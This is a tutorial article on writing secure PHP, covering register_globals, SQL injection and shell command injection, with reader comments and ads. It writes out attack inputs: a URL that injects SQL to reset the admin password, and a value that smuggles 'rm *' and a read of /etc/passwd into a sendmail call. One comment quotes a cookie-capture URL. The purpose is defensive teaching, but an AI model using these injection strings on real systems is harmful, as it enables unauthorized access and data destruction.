Programming PHP with Security in Mind

Writing code that prevents some common types of attacks is rather easy—here are some guidelines.

From time to time, you will find a security advisory about some major web application on security mailing lists. Most of the time, the problem is fixed easily. The errors often occur because the author had five minutes to do his application while his boss was yelling at him, or was distracted when developing it or simply did not have enough practice in programming secure web applications.

Writing a secure web application is not an easy task, because the real problem is not a matter of knowledge but one of practice. It is a good idea to keep some tips in mind when programming. To help memorize them, you should understand how and why they are so important. Then you can start to change your programming practices in the future. Knowledge of the most common threats and respective modes of attack can go a long way toward increasing security.

This article provides a basis for understanding secure programming with PHP and gives a broader view of the subject. You should keep in mind that these guidelines identify only the most common threats and how to avoid them, reducing the risk of security compromise at the same time.

The basic rule for writing a secure application is: never trust user input. Poorly validated user input constitutes the most severe security vulnerabilities in any web application. In other words, input data should be considered guilty unless proven innocent.

Global Variable Scope

PHP versions prior to 4.2.0 registered by default all kinds of external variables in the global scope. So no variable could be trusted, whether external or internal.

Look at the following example:

<?php
    if (authenticate_user()) {
        $authenticated = true;
    }
    ...

    if (!$authenticated) {
        die("Authorization required");
    }
?>

If you set $authenticated to 1 via GET, like this:

http://example.com/admin.php?authenticated=1
you would pass the last “if” in the previous example.

Thankfully, since version 4.1.0, PHP has deprecated register_globals. This means that GET, POST, Cookie, Server, Environment and Session variables are no longer in the global scope anymore. To help users build PHP applications with register_globals off, several new special arrays exist that are automatically global in any scope. They include $_GET, $_POST, $COOKIE, $_SERVER, $_ENV, $_REQUEST and $_SESSION.

If the directive register_globals is on, do yourself a favor and turn it off. If you turn it off and then validate all the user input, you made a big step toward secure programming. In many cases, a type casting is sufficient validation.

Client-side JavaScript form checks do not make any difference, because an attacker can submit any request, not only one that is available on the form. Here is an example of what this would look like:

<?php
    $_SESSION['authenticated'] = false;
    if (authenticate_user()) {
        $_SESSION['authenticated'] = true;
    }
    ...
    if (!$_SESSION['authenticated']) {
        die("Authorization required");
    }
?>
Database Interactions

Most PHP applications use databases, and they use input from a web form to construct SQL query strings. This type of interaction can be a security problem.

Imagine a PHP script that edits data from some table, with a web form that POSTs to the same script. The beginning of the script checks to see if the form was submitted, and if so, it updates the table the user chose.

<?php
    if ($update_table_submit) {
        $db->query("update $table set name=$name");
    }
?>

If you do not validate the variable $table that came from the web form, and if you do not check to see if the $update_table_submit variable came from the form (via $POST['update_table_submit']), you can set its value via GET to whatever you want. You could do it like this:

http://example.com/edit.php?update_table_submit
=1&table=users+set+password%3Daaa
+where+user%3D%27admin%27+%23
which results in the following SQL query:
update users set password=aaa
  where user="admin" # set name=$name
A simple validation for the $table variable would be to check whether its content is alphabetical only, or if it is only one word (if (count(explode("",$table)) { ... }).

Calling External Programs

Sometimes we need to call external programs (using system(), exec(), popen(), passthru() or the back-tick operator) in our PHP scripts. One of the most dangerous security threats is calling external programs if the program name or its arguments are based on user input. In fact, the PHP manual page for most of these functions includes a note that warns: “If you are going to allow data coming from user input to be passed to this function, then you should be using escapeshellarg() or escapeshellcmd() to make sure that users cannot trick the system into executing arbitrary commands.”

Imagine the following example:

<?php
    $fp = popen('/usr/sbin/sendmail -i '. $to, 'w');
?>

The user can control the content of the variable $to above in the following manner:

http://example.com/send.php?$to=evil%40evil.org+
%3C+%2Fetc%2Fpasswd%3B+rm+%2A
The result of this input would be running this command:
/usr/sbin/sendmail -i evil@evil.org
/etc/passwd; rm *
A simple solution to resolve this security problem is:
<?php
    $fp = popen('/usr/sbin/sendmail -i '.
                escapeshellarg($to), 'w');
?>
Better than that, check whether the content in the $to variable is a valid e-mail address, with a regexp.

______________________

Comments

Comment viewing options

Select your preferred way to display the comments and click "Save settings" to activate your changes.

aa

Anonymous's picture

window.location='http://www.yahoo.com'

Is there any way

amir's picture

Is there any way that a user can not get a page by typing url in address bar.
User only redirected to the target pages by submit a form or else....

i wanted to ask about the leftframe.php

gloadz's picture

look at this for e.g.
http://www.tvdekho.com/frameleft.php?url= has a left frame and then look at this
http://www.tvdekho.com/external.php?url=aHR0cDovL3d3dy52aWRlb3N0YXRlLnR2...

how is this formed. Please contact me.

Plagiarism

Anonymous's picture

the URL of the actual article is:
http://www.developer.com/lang/article.php/918141

Plagiarism

Anonymous's picture

I think that there are too many coincidences (same sub-topics and code snippets) with an article(http://www.developer.com/lang/archives.php), published a year prior to this one. It is just not honest not to give credit!

Most articles about security

Anonymous's picture

Most articles about security and PHP cover the same topics.
Just because they both gave the "sendmail" example it doesn't really mean anything. But everyone can read both articles and judge for themselves. :-)

CSS?

Anonymous's picture

Since when is CSS not cascading style sheets? You can't just invent acronyms for something that overlap other well known ones.

Re: CSS?

Anonymous's picture

It's also very common for people to introduce some short name for a long name so they don't have to write down the endless name all the time. So even if it's not officially used for Cross-Side-Scripting, doesn't mean he's inventing. He's just applying some writing style that is rather common. Yeah, I read books :P

Nice article, enjoyed reading it.

Re: CSS?

Anonymous's picture

XSS for cross-site scripting.

Re: CSS?

Anonymous's picture

Actually CSS stands for both Cascading Style Sheets and (for a while) Cross Site Scripting. usually now though Cross Site Scripting is refered to XSS

Re: CSS?

Anonymous's picture

IANAL (I Am Not A Linguist)

Re: Programming PHP with Security in Mind

Anonymous's picture

alert ('http://www.cgisecurity.com/cgi-bin/cookie.cgi');

Wouldn't it be great if this article would run on a secure cms?

Webinar
One Click, Universal Protection: Implementing Centralized Security Policies on Linux Systems

As Linux continues to play an ever increasing role in corporate data centers and institutions, ensuring the integrity and protection of these systems must be a priority. With 60% of the world's websites and an increasing share of organization's mission-critical workloads running on Linux, failing to stop malware and other advanced threats on Linux can increasingly impact an organization's reputation and bottom line.

Learn More

Sponsored by Bit9

Webinar
Linux Backup and Recovery Webinar

Most companies incorporate backup procedures for critical data, which can be restored quickly if a loss occurs. However, fewer companies are prepared for catastrophic system failures, in which they lose all data, the entire operating system, applications, settings, patches and more, reducing their system(s) to “bare metal.” After all, before data can be restored to a system, there must be a system to restore it to.

In this one hour webinar, learn how to enhance your existing backup strategies for better disaster recovery preparedness using Storix System Backup Administrator (SBAdmin), a highly flexible bare-metal recovery solution for UNIX and Linux systems.

Learn More

Sponsored by Storix